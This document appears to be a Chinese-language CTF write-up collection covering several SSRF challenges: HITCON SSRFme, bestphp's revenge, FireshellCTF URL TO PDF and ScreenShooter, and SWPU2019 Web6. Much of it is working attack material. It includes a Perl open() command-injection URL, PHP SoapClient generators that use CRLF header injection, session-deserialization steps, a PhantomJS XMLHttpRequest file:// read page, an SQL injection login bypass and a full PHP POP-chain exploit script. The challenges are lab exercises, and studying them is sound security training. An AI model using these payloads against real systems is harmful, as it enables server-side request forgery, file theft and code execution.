SSRF
[HITCON 2017]SSRFme
perl脚本GET open命令漏洞
GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理
open存在命令执行,并且还支持file函数
最后命令行中执行的结果会被存在data中,
尝试读取根目录,并把结果写在文件abc中,payload:
?url=/&filename=abc
根据ip拼接md5,发现要执行readflag,
?url=file:bash -c /readflag|&filename=123
bestphp\'s revenge
经典PHP的session反序列化SoapClient原生类衔接SSRF和CRLF,还有一个变量覆盖漏洞的利用,细说一下。
+ #### call_user_func的变量覆盖漏洞
这个题过滤了危险函数,所以不能直接利用,但是注意到:
如果传入的参数,是一个数组,且数组的第一个值是一个类的名字,或一个对象,那么,就会把数组的第二个值,当做方法,然后执行。
- #### session反序列化
漏洞成因是php不同的session处理器因解析格式不同造成的漏洞。
<?php
session_start();
$_SESSION['name'] = 'moon_flower';
?>
当 session.serialize_handler=php 时,session文件内容为: name|s:11:"mochazz";
当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:11:"mochazz";}
由于默认的php是以"|"作为键值的分割符,那个如果我们在php_serialize下恶意构造特定的键值对,再利用php处理器进行解析,那么就会。。。
$_SESSION['name'] ='|username' => a:1:{s:4:"name";s:4:""|username";}
然后经过php_serialize处理后就会被解析为:
$_SESSION['a:1:{s:4:"name";s:4:"'] = 'username';
所以我们只要传入
$_SESSION['name'] = '想反序列化的内容'
- ##### SSRF+CRLF
关于SOAP内置类的详细操作可以看这儿
SoapClient类可以发送http请求,如果发向本地就形成了SSRF,
但是SOAPClient中不含cookie的操作,而http请求格式是我们可以进行操作的,所以这里又用到了CRLF漏洞
payload:
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=g6ooseaeo905j0q4b9qqn2n471\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
?>
//注:PHPSESSID由自己设置。
- ##### 开始操作:
- 第一次传参
_GET: name="payload生成的序列化字符串"&f=session_start _POST: serialize_handler=php_serialize
更换了session处理器,并将name中的信息存在session中 - 第二次传参
_GET: f=extrace _POST: call_user_func
session中的内容(就是SOAPClient对象)和\'welcome_to_the_lctf2018\'会被合并在一个数组中,
变量覆盖后我们执行的语句实际上是
call_user_func(call_user_func,array($_session,'welcome_to_the_lctf2018'));
第二个call_user_func的第一个参数是SoapClient类,按照定义,它会去调用welcome_to_the_lctf2018这个不存在的方法,从而调用__call方法,携带我们自己定义的cookie去访问flag.php并将其内容存在对应的session中。
最后用我们自己的session访问一下即可。
- 第一次传参
[FireshellCTF2020]URL TO PDF
WeasyPrint进行url to pdf过程中产生的问题
这个爬虫不会解析js但是能解析link
<link rel=”attachment” href=”file:///flag”>
下载这个就能实现ssrf
然后用pdfdetach处理一下即可:
$ pdfdetach -list flag.pdf
1 embedded files
1: flag
$ pdfdetach -save 1 flag.pdf
$ cat flag
[FireshellCTF2020]ScreenShooter
和上一题类似,但这次是用了PhantomJS的漏洞。
通过XMLHttpRequest触发,其中的open方法可以读取目标系统上的任意文件。
payload:
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
var moon;
moon = new XMLHttpRequest;
moon.onload = function(){
document.write(this.responseText)
};
moon.open("GET","file:///flag");
moon.send();
</script>
</body>
</html>
[SWPU2019]Web6
首先是登录界面,随便输提示sql语句,可见是username和passwd分开验证的,这里如果passwd为空,那就要想办法构造一个NULL,这里用到了with rollup语法。
with rollup 能对查询的数据进行汇总(不是求和),而查询过程中新产生的表的最后一列中的键是NULL。
paload1:
username=1' or '1'='1' group by passwd with rollup having passwd is NULL#&passwd=
登录后(据说有提示但我没找到),通过method=File_read和post提交filename可以查看任意文件。
查看se.php,encode.php,index.php,hint.txt,但Service.php无法访问,
观察到请求包里有user,可能是通过encode加密的,可以先用keyaaaaaaaasdfsaf.txt和对应的内容把key给解密出来,然后再用这个key去加密admin传入。然鹅。。。并没有什么卵用,那就只能ssrf打了。
首先构造pop链:
bb::__destruct -> aa::__call -> cc::__invoke -> ee::__toString -> dd::getflag
注意这里的aa类中,因为要通过调用函数的方法调用cc中的__invoke,所以要进到if里面,并要让mod2指向mod1,mod1指向cc。
然后再用SoapClient结合session反序列化进行ssrf获得一个能访问本地的PHPSESSID。
上传文件脚本:
<html>
<body>
<form action="http://30f3a4b2-55fd-462b-94e1-be7d99acf202.node3.buuoj.cn/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
payload2:
|O:10:"SoapClient":5:{s:3:"uri";s:4:"aabb";s:8:"location";s:30:"http://127.0.0.1/interface.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:109:"wupco
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: user=xZmdm9NxaQ==";s:13:"_soap_version";i:1;}
注意这是的PHPSESSID是我们指定的。、
payload3:
aa=O%3A2%3A%22bb%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A2%3A%22aa%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A2%3A%22cc%22%3A3%3A%7Bs%3A4%3A%22mod1%22%3BO%3A2%3A%22ee%22%3A2%3A%7Bs%3A4%3A%22str1%22%3BO%3A2%3A%22dd%22%3A3%3A%7Bs%3A4%3A%22name%22%3BN%3Bs%3A4%3A%22flag%22%3Bs%3A8%3A%22get_flag%22%3Bs%3A1%3A%22b%22%3Bs%3A14%3A%22call_user_func%22%3B%7Ds%3A4%3A%22str2%22%3Bs%3A7%3A%22getflag%22%3B%7Ds%3A4%3A%22mod2%22%3BN%3Bs%3A4%3A%22mod3%22%3Bs%3A1%3A%221%22%3B%7Ds%3A4%3A%22mod2%22%3Ba%3A1%3A%7Bs%3A5%3A%22test2%22%3BR%3A3%3B%7D%7Ds%3A4%3A%22mod2%22%3BN%3B%7D
完整的代码:
<?php
function de_crypt($swpu, $key) {
$swpu = base64_decode($swpu);
$key = md5($key);
$h = 0;
$length = strlen($swpu);
$swpuctf = strlen($key);
$varch = '';
for ($j = 0; $j < $length; $j++)
{
if ($h == $swpuctf)
{
$h = 0;
}
$varch .= $key{$h};
$h++;
}
$content = '';
for ($i = 0; $i < $length; $i++)
{
$content .= chr(ord($swpu{$i}) - (ord($varch{$i})+256)%256);
#$swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);
}
return $content;
}
class aa
{
public $mod1;
public $mod2;
}
class bb
{
public $mod1;
public $mod2;
}
class cc
{
public $mod1;
public $mod2;
public $mod3;
}
class dd
{
public $name;
public $flag;
public $b;
}
class ee
{
public $str1;
public $str2;
}
// $target = 'http://127.0.0.1/interface.php';
// $headers = array(
// 'X-Forwarded-For: 127.0.0.1',
// 'Cookie: user=xZmdm9NxaQ==',
// );
// $b = new SoapClient(null, array('location' => $target, 'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers),'uri'=>'aabb'));
// $a = serialize($b);
// $a = str_replace('^^', "\r\n", $a);
// echo $a;
#pop: bb::__destruct -> aa::__call -> cc::__invoke -> ee::__toString -> dd::getflag
$d = new dd();
$e = new ee();
$e->str1 = $d;
$e->str2 = "getflag";
$c = new cc();
$c->mod1 = $e;
$c->mod3 = '1';
$a = new aa();
$a->mod1 = $c;
$a->mod2 = array('test2'=>&$a->mod1);
$b = new bb();
$b->mod1 = $a;
$e->str1->b = 'call_user_func';
$e->str1->flag = 'get_flag';
echo urlencode(serialize($b));